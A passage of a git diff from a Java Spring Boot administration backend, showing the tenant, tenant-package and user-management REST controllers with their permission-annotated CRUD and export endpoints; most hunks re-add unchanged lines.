org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.encrypt.annotation.ApiEncrypt; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysTenantBo; +import org.dromara.system.domain.vo.SysTenantVo; +import org.dromara.system.service.ISysTenantService; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 租户管理 + * + * @author Michelle.Chung + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/tenant") +@ConditionalOnProperty(value = "tenant.enable", havingValue = "true") +public class SysTenantController extends BaseController { + + private final ISysTenantService tenantService; + + /** + * 查询租户列表 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenant:list") + @GetMapping("/list") + public TableDataInfo list(SysTenantBo bo, PageQuery pageQuery) { + return tenantService.queryPageList(bo, pageQuery); + } + + /** + * 导出租户列表 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenant:export") + @Log(title = "租户管理", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(SysTenantBo bo, HttpServletResponse response) { + List list = tenantService.queryList(bo); + ExcelUtil.exportExcel(list, "租户", SysTenantVo.class, response); + } + + /** + * 获取租户详细信息 + * + * @param id 主键 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenant:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tenantService.queryById(id)); + } + + /** + * 新增租户 + */ + @ApiEncrypt + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenant:add") + @Log(title = "租户管理", businessType = BusinessType.INSERT) + @Lock4j + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody SysTenantBo bo) { + if (!tenantService.checkCompanyNameUnique(bo)) { + return R.fail("新增租户'" + bo.getCompanyName() + "'失败,企业名称已存在"); + } + return toAjax(TenantHelper.ignore(() -> tenantService.insertByBo(bo))); + } + + /** + * 修改租户 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenant:edit") + @Log(title = "租户管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody SysTenantBo bo) { + tenantService.checkTenantAllowed(bo.getTenantId()); + if (!tenantService.checkCompanyNameUnique(bo)) { + return R.fail("修改租户'" + bo.getCompanyName() + "'失败,公司名称已存在"); + } + return toAjax(tenantService.updateByBo(bo)); + } + + /** + * 状态修改 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenant:edit") + @Log(title = "租户管理", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public R changeStatus(@RequestBody SysTenantBo bo) { + tenantService.checkTenantAllowed(bo.getTenantId()); + return toAjax(tenantService.updateTenantStatus(bo)); + } + + /** + * 删除租户 + * + * @param ids 主键串 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenant:remove") + @Log(title = "租户管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tenantService.deleteWithValidByIds(List.of(ids), true)); + } + + /** + * 动态切换租户 + * + * @param tenantId 租户ID + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @GetMapping("/dynamic/{tenantId}") + public R dynamicTenant(@NotBlank(message = "租户ID不能为空") @PathVariable String tenantId) { + TenantHelper.setDynamic(tenantId, true); + return R.ok(); + } + + /** + * 清除动态租户 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @GetMapping("/dynamic/clear") + public R dynamicClear() { + TenantHelper.clearDynamic(); + return R.ok(); + } + + + /** + * 根据租户编码查询租户是否存在 + * @param tenantCode + * @return + */ + @GetMapping("/getTenantByCode/{tenantCode}") + public R getTenantByCode(@NotBlank(message = "租户编码不能为空") @PathVariable String tenantCode) { + SysTenantVo sysTenantVo = tenantService.queryByTenantCode(tenantCode); + if(ObjectUtil.isNotNull(sysTenantVo)){ + return R.fail("租户'" + sysTenantVo.getTenantCode() + "'已存在"); + } + return R.ok(); + } + + + /** + * 同步租户套餐 + * + * @param tenantId 租户id + * @param packageId 套餐id + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenant:edit") + @Log(title = "租户管理", businessType = BusinessType.UPDATE) + @GetMapping("/syncTenantPackage") + public R syncTenantPackage(@NotBlank(message = "租户ID不能为空") String tenantId, + @NotNull(message = "套餐ID不能为空") Long packageId) { + return toAjax(TenantHelper.ignore(() -> tenantService.syncTenantPackage(tenantId, packageId))); + } + + /** + * 同步租户字典 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @Log(title = "租户管理", businessType = BusinessType.INSERT) + @GetMapping("/syncTenantDict") + public R syncTenantDict() { + if (!TenantHelper.isEnable()) { + return R.fail("当前未开启租户模式"); + } + tenantService.syncTenantDict(); + return R.ok("同步租户字典成功"); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysTenantPackageController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysTenantPackageController.java index 01da85a..fb168c8 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysTenantPackageController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysTenantPackageController.java @@ -1,142 +1,142 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.dev33.satoken.annotation.SaCheckRole; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.TenantConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysTenantPackageBo; -import org.dromara.system.domain.vo.SysTenantPackageVo; -import org.dromara.system.service.ISysTenantPackageService; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 租户套餐管理 - * - * @author Michelle.Chung - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/tenant/package") -@ConditionalOnProperty(value = "tenant.enable", havingValue = "true") -public class SysTenantPackageController extends BaseController { - - private final ISysTenantPackageService tenantPackageService; - - /** - * 查询租户套餐列表 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenantPackage:list") - @GetMapping("/list") - public TableDataInfo list(SysTenantPackageBo bo, PageQuery pageQuery) { - return tenantPackageService.queryPageList(bo, pageQuery); - } - - /** - * 查询租户套餐下拉选列表 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenantPackage:list") - @GetMapping("/selectList") - public R> selectList() { - return R.ok(tenantPackageService.selectList()); - } - - /** - * 导出租户套餐列表 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenantPackage:export") - @Log(title = "租户套餐", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(SysTenantPackageBo bo, HttpServletResponse response) { - List list = tenantPackageService.queryList(bo); - ExcelUtil.exportExcel(list, "租户套餐", SysTenantPackageVo.class, response); - } - - /** - * 获取租户套餐详细信息 - * - * @param packageId 主键 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenantPackage:query") - @GetMapping("/{packageId}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long packageId) { - return R.ok(tenantPackageService.queryById(packageId)); - } - - /** - * 新增租户套餐 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenantPackage:add") - @Log(title = "租户套餐", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody SysTenantPackageBo bo) { - if (!tenantPackageService.checkPackageNameUnique(bo)) { - return R.fail("新增套餐'" + bo.getPackageName() + "'失败,套餐名称已存在"); - } - return toAjax(tenantPackageService.insertByBo(bo)); - } - - /** - * 修改租户套餐 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenantPackage:edit") - @Log(title = "租户套餐", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody SysTenantPackageBo bo) { - if (!tenantPackageService.checkPackageNameUnique(bo)) { - return R.fail("修改套餐'" + bo.getPackageName() + "'失败,套餐名称已存在"); - } - return toAjax(tenantPackageService.updateByBo(bo)); - } - - /** - * 状态修改 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenantPackage:edit") - @Log(title = "租户套餐", businessType = BusinessType.UPDATE) - @PutMapping("/changeStatus") - public R changeStatus(@RequestBody SysTenantPackageBo bo) { - return toAjax(tenantPackageService.updatePackageStatus(bo)); - } - - /** - * 删除租户套餐 - * - * @param packageIds 主键串 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenantPackage:remove") - @Log(title = "租户套餐", businessType = BusinessType.DELETE) - @DeleteMapping("/{packageIds}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] packageIds) { - return toAjax(tenantPackageService.deleteWithValidByIds(List.of(packageIds), true)); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.dev33.satoken.annotation.SaCheckRole; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.TenantConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysTenantPackageBo; +import org.dromara.system.domain.vo.SysTenantPackageVo; +import org.dromara.system.service.ISysTenantPackageService; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 租户套餐管理 + * + * @author Michelle.Chung + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/tenant/package") +@ConditionalOnProperty(value = "tenant.enable", havingValue = "true") +public class SysTenantPackageController extends BaseController { + + private final ISysTenantPackageService tenantPackageService; + + /** + * 查询租户套餐列表 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenantPackage:list") + @GetMapping("/list") + public TableDataInfo list(SysTenantPackageBo bo, PageQuery pageQuery) { + return tenantPackageService.queryPageList(bo, pageQuery); + } + + /** + * 查询租户套餐下拉选列表 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenantPackage:list") + @GetMapping("/selectList") + public R> selectList() { + return R.ok(tenantPackageService.selectList()); + } + + /** + * 导出租户套餐列表 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenantPackage:export") + @Log(title = "租户套餐", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(SysTenantPackageBo bo, HttpServletResponse response) { + List list = tenantPackageService.queryList(bo); + ExcelUtil.exportExcel(list, "租户套餐", SysTenantPackageVo.class, response); + } + + /** + * 获取租户套餐详细信息 + * + * @param packageId 主键 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenantPackage:query") + @GetMapping("/{packageId}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long packageId) { + return R.ok(tenantPackageService.queryById(packageId)); + } + + /** + * 新增租户套餐 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenantPackage:add") + @Log(title = "租户套餐", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody SysTenantPackageBo bo) { + if (!tenantPackageService.checkPackageNameUnique(bo)) { + return R.fail("新增套餐'" + bo.getPackageName() + "'失败,套餐名称已存在"); + } + return toAjax(tenantPackageService.insertByBo(bo)); + } + + /** + * 修改租户套餐 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenantPackage:edit") + @Log(title = "租户套餐", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody SysTenantPackageBo bo) { + if (!tenantPackageService.checkPackageNameUnique(bo)) { + return R.fail("修改套餐'" + bo.getPackageName() + "'失败,套餐名称已存在"); + } + return toAjax(tenantPackageService.updateByBo(bo)); + } + + /** + * 状态修改 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenantPackage:edit") + @Log(title = "租户套餐", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public R changeStatus(@RequestBody SysTenantPackageBo bo) { + return toAjax(tenantPackageService.updatePackageStatus(bo)); + } + + /** + * 删除租户套餐 + * + * @param packageIds 主键串 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:tenantPackage:remove") + @Log(title = "租户套餐", businessType = BusinessType.DELETE) + @DeleteMapping("/{packageIds}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] packageIds) { + return toAjax(tenantPackageService.deleteWithValidByIds(List.of(packageIds), true)); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysUserController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysUserController.java index 0166066..bb5f976 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysUserController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysUserController.java @@ -1,355 +1,355 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.dev33.satoken.secure.BCrypt; -import cn.hutool.core.lang.tree.Tree; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.encrypt.annotation.ApiEncrypt; -import org.dromara.common.excel.core.ExcelResult; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.system.domain.bo.SysPostBo; -import org.dromara.system.domain.bo.SysRoleBo; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.domain.vo.*; -import org.dromara.system.listener.SysUserImportListener; -import org.dromara.system.service.*; -import org.springframework.http.MediaType; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; -import org.springframework.web.multipart.MultipartFile; - -import java.util.ArrayList; -import java.util.List; - -/** - * 用户信息 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/user") -public class SysUserController extends BaseController { - - private final ISysUserService userService; - private final ISysRoleService roleService; - private final ISysPostService postService; - private final ISysDeptService deptService; - private final ISysTenantService tenantService; - - /** - * 获取用户列表 - */ - @SaCheckPermission("system:user:list") - @GetMapping("/list") - public TableDataInfo list(SysUserBo user, PageQuery pageQuery) { - return userService.selectPageUserList(user, pageQuery); - } - - /** - * 获取用户列表 - */ - @SaCheckPermission("system:user:list") - @GetMapping("/getList") - public TableDataInfo getList(SysUserBo user, PageQuery pageQuery) { - return userService.selectPageGetUserList(user, pageQuery); - } - - /** - * 获取技术列表 - * @param user - * @param pageQuery - * @return - */ - @GetMapping("/getJSList") - public TableDataInfo getJSList(SysUserBo user, PageQuery pageQuery) { - return userService.getJSList(user, pageQuery); - } - - /** - * 获取用户统计数据 - */ - @SaCheckPermission("system:user:userSum") - @GetMapping("/userSum") - public R userSum(SysUserBo user) { - return R.ok(userService.selectUserSum(user)); - } - - /** - * 导出用户列表 - */ - @Log(title = "用户管理", businessType = BusinessType.EXPORT) - @SaCheckPermission("system:user:export") - @PostMapping("/export") - public void export(SysUserBo user, HttpServletResponse response) { - List list = userService.selectUserExportList(user); - ExcelUtil.exportExcel(list, "用户数据", SysUserExportVo.class, response); - } - - /** - * 导入数据 - * - * @param file 导入文件 - * @param updateSupport 是否更新已存在数据 - */ - @Log(title = "用户管理", businessType = BusinessType.IMPORT) - @SaCheckPermission("system:user:import") - @PostMapping(value = "/importData", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) - public R importData(@RequestPart("file") MultipartFile file, boolean updateSupport) throws Exception { - ExcelResult result = ExcelUtil.importExcel(file.getInputStream(), SysUserImportVo.class, new SysUserImportListener(updateSupport)); - return R.ok(result.getAnalysis()); - } - - /** - * 获取导入模板 - */ - @PostMapping("/importTemplate") - public void importTemplate(HttpServletResponse response) { - ExcelUtil.exportExcel(new ArrayList<>(), "用户数据", SysUserImportVo.class, response); - } - - /** - * 获取用户信息 - * - * @return 用户信息 - */ - @GetMapping("/getInfo") - public R getInfo() { - UserInfoVo userInfoVo = new UserInfoVo(); - LoginUser loginUser = LoginHelper.getLoginUser(); - if (TenantHelper.isEnable() && LoginHelper.isSuperAdmin()) { - // 超级管理员 如果重新加载用户信息需清除动态租户 - TenantHelper.clearDynamic(); - } - SysUserVo user = userService.selectUserById(loginUser.getUserId()); - if (ObjectUtil.isNull(user)) { - return R.fail("没有权限访问用户数据!"); - } - userInfoVo.setUser(user); - userInfoVo.setPermissions(loginUser.getMenuPermission()); - userInfoVo.setRoles(loginUser.getRolePermission()); - return R.ok(userInfoVo); - } - - - /** - * 获取OrderType - * @return - */ - @GetMapping("/getOrderType") - public R> getOrderType() { - return R.ok(userService.getOrderTypeIds()); - } - - - - /** - * 根据用户编号获取详细信息 - * - * @param userId 用户ID - */ - @SaCheckPermission("system:user:query") - @GetMapping(value = {"/", "/{userId}"}) - public R getInfo(@PathVariable(value = "userId", required = false) Long userId) { - SysUserInfoVo userInfoVo = new SysUserInfoVo(); - if (ObjectUtil.isNotNull(userId)) { - userService.checkUserDataScope(userId); - SysUserVo sysUser = userService.selectUserById(userId); - userInfoVo.setUser(sysUser); - userInfoVo.setRoleIds(roleService.selectRoleListByUserId(userId)); - Long deptId = sysUser.getDeptId(); - if (ObjectUtil.isNotNull(deptId)) { - SysPostBo postBo = new SysPostBo(); - postBo.setDeptId(deptId); - userInfoVo.setPosts(postService.selectPostList(postBo)); - userInfoVo.setPostIds(postService.selectPostListByUserId(userId)); - } - } - SysRoleBo roleBo = new SysRoleBo(); - roleBo.setStatus(SystemConstants.NORMAL); - List roles = roleService.selectRoleList(roleBo); - userInfoVo.setRoles(LoginHelper.isSuperAdmin(userId) ? roles : StreamUtils.filter(roles, r -> !r.isSuperAdmin())); - return R.ok(userInfoVo); - } - - /** - * 新增用户 - */ - @SaCheckPermission("system:user:add") - @Log(title = "用户管理", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysUserBo user) { - deptService.checkDeptDataScope(user.getDeptId()); - if (!userService.checkUserNameUnique(user)) { - return R.fail("新增用户'" + user.getUserName() + "'失败,登录账号已存在"); - } else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) { - return R.fail("新增用户'" + user.getUserName() + "'失败,手机号码已存在"); - } else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) { - return R.fail("新增用户'" + user.getUserName() + "'失败,邮箱账号已存在"); - } - if (TenantHelper.isEnable()) { - if (!tenantService.checkAccountBalance(TenantHelper.getTenantId())) { - return R.fail("当前租户下用户名额不足,请联系管理员"); - } - } - user.setPassword(BCrypt.hashpw(user.getPassword())); - return toAjax(userService.insertUser(user)); - } - - /** - * 修改用户 - */ - @SaCheckPermission("system:user:edit") - @Log(title = "用户管理", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysUserBo user) { - userService.checkUserAllowed(user.getUserId()); - userService.checkUserDataScope(user.getUserId()); - deptService.checkDeptDataScope(user.getDeptId()); - if (!userService.checkUserNameUnique(user)) { - return R.fail("修改用户'" + user.getUserName() + "'失败,登录账号已存在"); - } else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) { - return R.fail("修改用户'" + user.getUserName() + "'失败,手机号码已存在"); - } else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) { - return R.fail("修改用户'" + user.getUserName() + "'失败,邮箱账号已存在"); - } - return toAjax(userService.updateUser(user)); - } - - /** - * 删除用户 - * - * @param userIds 角色ID串 - */ - @SaCheckPermission("system:user:remove") - @Log(title = "用户管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{userIds}") - public R remove(@PathVariable Long[] userIds) { - if (ArrayUtil.contains(userIds, LoginHelper.getUserId())) { - return R.fail("当前用户不能删除"); - } - return toAjax(userService.deleteUserByIds(userIds)); - } - - /** - * 根据用户ID串批量获取用户基础信息 - * - * @param userIds 用户ID串 - * @param deptId 部门ID - */ - @SaCheckPermission("system:user:query") - @GetMapping("/optionselect") - public R> optionselect(@RequestParam(required = false) Long[] userIds, - @RequestParam(required = false) Long deptId) { - return R.ok(userService.selectUserByIds(userIds == null ? null : List.of(userIds), deptId)); - } - - /** - * 重置密码 - */ - @ApiEncrypt - @SaCheckPermission("system:user:resetPwd") - @Log(title = "用户管理", businessType = BusinessType.UPDATE) - @PutMapping("/resetPwd") - public R resetPwd(@RequestBody SysUserBo user) { - userService.checkUserAllowed(user.getUserId()); - userService.checkUserDataScope(user.getUserId()); - user.setPassword(BCrypt.hashpw(user.getPassword())); - return toAjax(userService.resetUserPwd(user.getUserId(), user.getPassword())); - } - - /** - * 状态修改 - */ - @SaCheckPermission("system:user:edit") - @Log(title = "用户管理", businessType = BusinessType.UPDATE) - @PutMapping("/changeStatus") - public R changeStatus(@RequestBody SysUserBo user) { - userService.checkUserAllowed(user.getUserId()); - userService.checkUserDataScope(user.getUserId()); - return toAjax(userService.updateUserStatus(user.getUserId(), user.getStatus())); - } - - /** - * 根据用户编号获取授权角色 - * - * @param userId 用户ID - */ - @SaCheckPermission("system:user:query") - @GetMapping("/authRole/{userId}") - public R authRole(@PathVariable Long userId) { - userService.checkUserDataScope(userId); - SysUserVo user = userService.selectUserById(userId); - List roles = roleService.selectRolesAuthByUserId(userId); - SysUserInfoVo userInfoVo = new SysUserInfoVo(); - userInfoVo.setUser(user); - userInfoVo.setRoles(LoginHelper.isSuperAdmin(userId) ? roles : StreamUtils.filter(roles, r -> !r.isSuperAdmin())); - return R.ok(userInfoVo); - } - - /** - * 用户授权角色 - * - * @param userId 用户Id - * @param roleIds 角色ID串 - */ - @SaCheckPermission("system:user:edit") - @Log(title = "用户管理", businessType = BusinessType.GRANT) - @PutMapping("/authRole") - public R insertAuthRole(Long userId, Long[] roleIds) { - userService.checkUserDataScope(userId); - userService.insertUserAuth(userId, roleIds); - return R.ok(); - } - - /** - * 获取部门树列表 - */ - @GetMapping("/deptTree") - public R>> deptTree(SysDeptBo dept) { - return R.ok(deptService.selectDeptTreeList(dept)); - } - - /** - * 获取部门下的所有用户信息 - */ - @SaCheckPermission("system:user:list") - @GetMapping("/list/dept/{deptId}") - public R> listByDept(@PathVariable @NotNull Long deptId) { - return R.ok(userService.selectUserListByDept(deptId)); - } - - /** - * 根据用户名查询用户是否存在 - * @param username - * @return - */ - @GetMapping("/getSysUserByUsername/{username}") - public R getSysUserByUsername(@NotBlank(message = "用户名不能为空") @PathVariable String username) { - SysUserVo sysUserVo = userService.selectUserByUserName(username); - if(ObjectUtil.isNotNull(sysUserVo)){ - return R.fail("用户'" + sysUserVo.getUserName() + "'已存在"); - } - return R.ok(); - } - -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.dev33.satoken.secure.BCrypt; +import cn.hutool.core.lang.tree.Tree; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.encrypt.annotation.ApiEncrypt; +import org.dromara.common.excel.core.ExcelResult; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.system.domain.bo.SysPostBo; +import org.dromara.system.domain.bo.SysRoleBo; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.domain.vo.*; +import org.dromara.system.listener.SysUserImportListener; +import org.dromara.system.service.*; +import org.springframework.http.MediaType; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; + +import java.util.ArrayList; +import java.util.List; + +/** + * 用户信息 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/user") +public class SysUserController extends BaseController { + + private final ISysUserService userService; + private final ISysRoleService roleService; + private final ISysPostService postService; + private final ISysDeptService deptService; + private final ISysTenantService tenantService; + + /** + * 获取用户列表 + */ + @SaCheckPermission("system:user:list") + @GetMapping("/list") + public TableDataInfo list(SysUserBo user, PageQuery pageQuery) { + return userService.selectPageUserList(user, pageQuery); + } + + /** + * 获取用户列表 + */ + @SaCheckPermission("system:user:list") + @GetMapping("/getList") + public TableDataInfo getList(SysUserBo user, PageQuery pageQuery) { + return userService.selectPageGetUserList(user, pageQuery); + } + + /** + * 获取技术列表 + * @param user + * @param pageQuery + * @return + */ + @GetMapping("/getJSList") + public TableDataInfo getJSList(SysUserBo user, PageQuery pageQuery) { + return userService.getJSList(user, pageQuery); + } + + /** + * 获取用户统计数据 + */ + @SaCheckPermission("system:user:userSum") + @GetMapping("/userSum") + public R userSum(SysUserBo user) { + return R.ok(userService.selectUserSum(user)); + } + + /** + * 导出用户列表 + */ + @Log(title = "用户管理", businessType = BusinessType.EXPORT) + @SaCheckPermission("system:user:export") + @PostMapping("/export") + public void export(SysUserBo user, HttpServletResponse response) { + List list = userService.selectUserExportList(user); + ExcelUtil.exportExcel(list, "用户数据", SysUserExportVo.class, response); + } + + /** + * 导入数据 + * + * @param file 导入文件 + * @param updateSupport 是否更新已存在数据 + */ + @Log(title = "用户管理", businessType = BusinessType.IMPORT) + @SaCheckPermission("system:user:import") + @PostMapping(value = "/importData", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) + public R importData(@RequestPart("file") MultipartFile file, boolean updateSupport) throws Exception { + ExcelResult result = ExcelUtil.importExcel(file.getInputStream(), SysUserImportVo.class, new SysUserImportListener(updateSupport)); + return R.ok(result.getAnalysis()); + } + + /** + * 获取导入模板 + */ + @PostMapping("/importTemplate") + public void importTemplate(HttpServletResponse response) { + ExcelUtil.exportExcel(new ArrayList<>(), "用户数据", 